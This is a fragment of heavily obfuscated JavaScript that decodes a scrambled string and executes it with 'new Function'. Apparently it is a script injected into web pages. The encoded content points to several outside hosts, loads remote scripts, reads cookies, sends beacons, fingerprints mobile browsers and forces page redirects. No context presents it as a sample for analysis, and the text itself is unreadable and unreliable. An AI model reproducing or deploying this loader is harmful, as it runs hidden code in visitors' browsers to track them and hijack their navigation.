2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();